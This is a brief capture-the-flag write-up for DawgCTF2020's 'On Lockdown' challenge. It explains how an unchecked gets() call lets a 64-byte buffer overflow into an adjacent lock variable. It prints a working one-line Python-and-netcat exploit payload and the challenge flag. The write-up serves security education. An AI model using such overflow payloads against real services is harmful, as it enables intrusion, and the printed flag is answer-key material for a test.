# On Lockdown | DawgCTF2020
## ProblemBetter than locked up I guessnc ctf.umbccd.io 4500
I made this really cool flag but Governor Hogan put it on lockdownCan you convince him to give it to you?
## Solution1. Review code the code in onlockdown.c2. Notice it's using gets, with buf and lock initialized together:
```c	int lock = 0;	char buf[64];```
3. Buffer overflow to change the lock value. Can be done in pwntools, or just via the following, which was what I did:
```bash$ python -c "print('a' * 64 + '\xBE\xBA\xAD\xDE')" | nc ctf.umbccd.io 4500```This gives the flag.DawgCTF{s3ri0u$ly_st@y_h0m3}